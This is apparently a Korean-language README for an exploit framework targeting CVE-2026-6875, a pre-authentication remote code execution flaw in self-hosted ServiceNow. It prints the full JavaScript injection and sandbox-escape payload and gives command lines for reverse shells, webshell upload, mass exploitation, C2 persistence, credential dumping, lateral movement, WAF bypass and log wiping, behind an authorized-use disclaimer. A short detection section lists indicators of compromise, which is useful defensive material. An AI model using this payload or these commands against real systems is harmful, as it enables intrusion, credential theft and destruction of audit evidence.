
CVE-2026-6875 ServiceNow 사전 인증 RCE 프레임워크 🔥 JS 인젝션 → 샌드박스 탈출 → RCE → 루트. 기능: --detect, --exec, 역방향/대화형 셸, 배치 스레딩, WAF 우회, 지속성, 측면 이동, 자격 증명 덤프, 파일리스 실행, 추적 정리. 🛡️ CVSS 9.5 적극적으로 악용됨. 승인 및 법적 사용 전용. 법을 준수하세요. 🔒

익스플로잇 프레임워크 및 안전 확인기
인가된 보안 테스트 전용입니다.
이 도구는 교육 및 인가된 침투 테스트 목적으로만 제공됩니다.
저자와 기여자는 이 소프트웨어의 오용이나 손해에 대해 책임을 지지 않습니다. 사용자는 테스트 대상 소유자의 명시적 서면 허가를 받았는지 전적으로 확인해야 합니다. 무단 액세스는 컴퓨터 사기 및 남용법(CFAA) 및 전 세계 유사 법률에 따라 불법입니다.
이 소프트웨어를 사용함으로써 다음에 동의하는 것으로 간주됩니다:
⚠️ 경고: 이 취약점은 현재 실제 환경에서 적극적으로 악용되고 있습니다. 무단 사용은 심각한 법적 결과를 초래할 수 있습니다.
CVE-2026-6875는 ServiceNow AI Platform(이전 Now Platform)의 중요한 인증되지 않은 원격 코드 실행(RCE) 취약점입니다. 공격자는 스크립트 샌드박스를 우회하고 ServiceNow 애플리케이션의 권한으로 임의의 시스템 명령을 실행할 수 있습니다.
JavaScript 인젝션: assessment_thanks.do 엔드포인트는 sysparm_assessable_type 매개변수를 허용합니다. 값 앞에 javascript:를 붙여 공격자는 임의의 JavaScript 코드를 주입합니다.
샌드박스 탈출: 정교한 샌드박스 탈출 가젯(DiscoveryFunctions.getCacheObjectForTable, AbstractAjaxProcessor, Class.create 체이닝)이 JavaScript 샌드박스 제한을 해제합니다.
원격 코드 실행: 주입된 Java 코드(java.lang.Runtime.exec() 경유)가 ServiceNow 애플리케이션 권한으로 실행되어 시스템 전체를 장악할 수 있습니다.
권한 상승: 사후 악용 모듈은 sudo 오설정, SUID 바이너리, 쓰기 가능한 크론 작업 또는 커널 익스플로잇을 통해 root로 권한을 상승시키려 시도합니다.
exploit.py)완전 무장 익스플로잇은 JavaScript 인젝션과 샌드박스 탈출을 연결하여 원격 코드 실행을 달성하며, 지속성, 측면 이동, 자격 증명 덤프를 위한 고급 사후 악용 모듈을 포함합니다.
verifier.py)안전 확인기는 유해한 페이로드를 실행하거나 시스템 변경을 가하지 않고 비침습적 취약점 탐지를 수행합니다.
pip (requests 라이브러리용)pip install requests urllib3
[!NOTE]
exploit.py는 핵심 기능에 표준 라이브러리만 사용합니다.requests는--detect기능,--webhook알림 및 안전 확인기에서만 필요합니다.
verifier.py)# 단일 대상 확인
python verifier.py -u 192.168.1.100
# 사용자 정의 포트 및 경로
python verifier.py -u 10.0.0.5 -p 8443 --path /snow
# 파일에서 대량 스캔
python verifier.py -l targets.txt -o results.json
# 조용한 모드 (취약한 대상만 출력)
python verifier.py -u 192.168.1.100 -q
# 느린 대상에 대한 타임아웃 증가
python verifier.py -u servicenow.example.com --timeout 60
# 사용자 정의 User-Agent
python verifier.py -u 192.168.1.100 --user-agent "MyScanner/1.0"
exploit.py)# 대상에서 대화형 셸 실행
python exploit.py -u 192.168.1.100
# 단일 명령 실행
python exploit.py -u 192.168.1.100 --exec "id && whoami"
# 파일 읽기
python exploit.py -u 192.168.1.100 --read-file /etc/passwd
# 악용 전 탐지 활성화
python exploit.py -u 192.168.1.100 --detect
# root 권한 상승 시도
python exploit.py -u 192.168.1.100 --privesc
# 웹셸 업로드
python exploit.py -u 192.168.1.100 --upload shell.jsp
# C2로 지속성 설치
python exploit.py -u 192.168.1.100 --persistence --c2-host 10.0.0.5 --c2-port 4444
# 악용 후 추적 제거
python exploit.py -u 192.168.1.100 --clean
# 파일리스(메모리) 페이로드 사용
python exploit.py -u 192.168.1.100 --fileless --c2-host 10.0.0.5 --c2-port 4444
# 파일에서 대량 악용 (50개 스레드)
python exploit.py -l targets.txt -m 50 --exec "uname -a"
# 사용자 정의 콜백 서버 포트
python exploit.py -u 192.168.1.100 --callback-port 9090
# WAF 우회 기술 활성화
python exploit.py -u 192.168.1.100 --waf-bypass
# 웹훅으로 알림 전송
python exploit.py -u 192.168.1.100 --webhook https://myhook.com/snow
# 파이프 모드 (stdin에서 명령 읽기)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100
# 사용자 정의 포트 및 경로
python exploit.py -u 10.0.0.5 -p 8443 --path /snow
# TLS 검증 비활성화 (자체 서명 인증서용)
python exploit.py -u 192.168.1.100 --insecure-tls
# 사용자 정의 타임아웃 및 재시도
python exploit.py -u 192.168.1.100 -t 60 -r 5 -d 2.0
⚠️ 중요: ServiceNow Cloud 인스턴스는 자동으로 패치됩니다. 이 취약점은 주로 자체 호스팅 배포에 영향을 미칩니다.
취약점은 sysparm_assessable_type 매개변수를 허용하는 assessment_thanks.do 엔드포인트에 있습니다. javascript:로 시작하는 값을 제공하면 플랫폼이 시스템 컨텍스트 내에서 후속 JavaScript를 평가합니다.
취약한 엔드포인트:
POST /assessment_thanks.do sysparm_assessable_type=javascript:gs.print('test')
주입된 코드는 처음에 샌드박스 내로 제한됩니다. 그러나 다음 체인을 악용하여:
javascript:
var s="<payload>";
DiscoveryFunctions.getCacheObjectForTable=Object;
var a={};a.get=Object;
var b=new AbstractAjaxProcessor();
b.initialize=DiscoveryFunctions.getFirstValueFromTable(
a,"",DiscoveryFunctions.getFirstValueFromTable(
a,"",DiscoveryFunctions.getFirstValueFromTable(
a,"",global,"WorkflowIconsSCR",""),"prototype",""),"initialize","");
b.a=Class.create();b.a(s);
샌드박스가 우회되어 java.lang.Runtime과 같은 Java 클래스에 완전히 접근할 수 있습니다.
비밀번호, API 키, 비밀을 위해 .properties, .xml, .conf 파일 검색:
/opt/ServiceNow/conf/*.xml/var/log/ServiceNow/*.log/etc/passwd, /etc/shadow백도어 설치:
*/5 * * * *), systemd 서비스, SSH 키schtasks), 레지스트리 실행 키로컬 서브넷에서 다른 ServiceNow 인스턴스 또는 SSH 호스트를 스캔하고, 발견된 자격 증명을 재사용합니다.
즉석에서 Java 클래스를 컴파일하고 ClassLoader를 통해 로드하여 메모리에서 실행합니다 (디스크 쓰기 없음).
{/*comment*/})\u0077 for w)ne\u0077 for new)ServiceNow 로그에서 다음을 검색하세요:
extraweb_access.log – sysparm_assessable_type에 다음이 포함된 /assessment_thanks.do 요청:
javascript:DiscoveryFunctions.getCacheObjectForTableAbstractAjaxProcessor/var/tmp/의 예상치 못한 파일 (예: shell.jsp, .sh 스크립트)/etc/passwd, /etc/shadow 또는 ~/.ssh/authorized_keyscrontab -l)/etc/systemd/system/)/bin/bash -i, nc, curl, wget, python -c)[+] CVE-2026-15409/15410 - SonicWall SMA1000 다중 익스플로잇 프레임워크
https://github.com/tc4dy/CVE-2026-15409-15410-Framework
[+] CVE-2026-41091 - SolarFlare (RedSun) Microsoft Defender LPE
https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
[+] CVE-2026-57821 - Apache Fineract SQL 인젝션 툴킷
https://github.com/tc4dy/CVE-2026-57821-PoC-Exploit
[+] CVE-2026-41940 - cPanel/WHM 인증 우회
https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit
| 속성 | 값 |
|---|
| 📅 발견일 | 2026년 4월 1일 (Searchlight Cyber) |
| ⚠️ CVSS 점수 | 9.5 (CRITICAL) |
| 📋 CISA KEV | 2026년 7월 13일 추가됨 |
| 🎯 영향받는 제품 | 자체 호스팅 ServiceNow AI Platform |
| 🔄 수정된 버전 | Brazil EA/GA, Australia Patch 2, Zurich Patch 7b/9, Yokohama Patch 12 Hot Fix 1b/13 |
| 🔓 인증 필요 여부 | 필요하지 않음 (사전 인증) |
| 🌍 실제 악용 | 실제 환경에서 확인됨 (2026년 7월) |
| 기능 | 설명 |
|---|
| 🚀 JavaScript 인젝션 | sysparm_assessable_type 매개변수를 통해 페이로드 주입 |
| 💻 샌드박스 탈출 | ServiceNow 스크립트 샌드박스를 우회하여 임의 Java 코드 실행 |
| 🔐 대화형 셸 | 여러 명령을 지원하는 라이브 셸 생성 |
| 👑 Root 권한 상승 | sudo 오설정, SUID 바이너리, 크론 작업 확인 |
| 📁 파일 작업 | 웹셸 업로드, base64 인코딩을 통한 파일 읽기/다운로드 |
| 🌐 일괄 스캔 | 스레딩을 사용한 여러 대상 대량 익스플로잇 (-l 플래그) |
| 🎯 안전 탐지 | 비침습적 취약점 확인을 위한 선택적 --detect 플래그 |
| ⚙️ WAF 우회 | WAF/IDS 우회 내장 기술 (6가지 기법) |
| 🧩 지속성 | 크론/systemd/schtasks 백도어 설치 |
| 🔍 측면 이동 | 로컬 네트워크 내 다른 취약한 호스트 스캔 및 SSH/SSRF 전파 시도 |
| 🧹 추적 제거 | 로그, bash 기록, 감사 추적 삭제 |
| 💾 파일리스 실행 | Java ClassLoader를 사용하여 디스크에 쓰지 않고 메모리 내 페이로드 실행 |
| 🔌 콜백 서버 | 명령 출력 수신을 위한 내장 HTTP 서버 (선택 사항) |
| 📢 웹훅 알림 | 사용자 정의 URL로 결과 전송 (Slack, Discord 등) |
| 🪟 크로스 플랫폼 | Linux 및 Windows 대상 지원 (cmd.exe / PowerShell) |
| 🔒 스레드 안전 | 동시 작업을 위한 잠금 메커니즘 사용 |
| 📊 버전 탐지 | ServiceNow 버전 탐지 (Zurich/Brazil/Australia/Yokohama) |
| 명령어 | 설명 |
|---|
exec <cmd> | 시스템 명령 실행 |
upload <local> [remote] | 대상에 웹셸 업로드 |
download <remote> | 파일 내용 다운로드 및 표시 |
privesc | 권한 상승 시도 |
reverse <host> <port> | 리버스 셸 전송 |
dumpcred | ServiceNow 설정에서 자격 증명 덤프 |
persist <host> <port> | 지속성 설치 (cron/systemd/schtasks) |
lateral | 측면 이동 시도 |
clean | 추적 제거 (로그, 기록) |
memory <host> <port> | 파일리스 Java 페이로드 실행 |
exit | 대화형 셸 종료 |
| 기능 | 설명 |
|---|
| 🔍 ServiceNow 탐지 | 여러 엔드포인트를 통해 ServiceNow 인스턴스 식별 |
| 📊 버전 탐지 | 특정 ServiceNow 릴리스 및 패치 수준 탐지 |
| 🧪 JavaScript 인젝션 테스트 | 안전한 gs.print() 페이로드를 사용한 인젝션 취약점 테스트 |
| 🔒 샌드박스 탈출 테스트 | 파괴적 명령 없이 샌드박스 탈출 확인 |
| 📈 신뢰도 점수 | 증거에 기반한 신뢰도 백분율 제공 (85–95%) |
| 📋 JSON 출력 | 보고용 JSON 형식으로 결과 내보내기 |
| 🔄 대량 스캔 | 스레딩 지원으로 여러 대상 스캔 |
| 🎯 비침습적 | 시스템 정보를 위해 양성 uname -a만 실행 |
| ServiceNow 릴리스 | 취약한 버전 | 수정된 버전 |
|---|
| Brazil | EA, GA | 패치됨 (GA 이후) |
| Australia | Patch 2 이전 | Patch 2+ |
| Zurich | Patch 7b, Patch 9 이전 | Patch 7b, Patch 9+ |
| Yokohama | Patch 12 Hot Fix 1b 이전 | Patch 12 Hot Fix 1b, Patch 13 |
| 기타 릴리스 | 알 수 없음 | 공식 권고 확인 |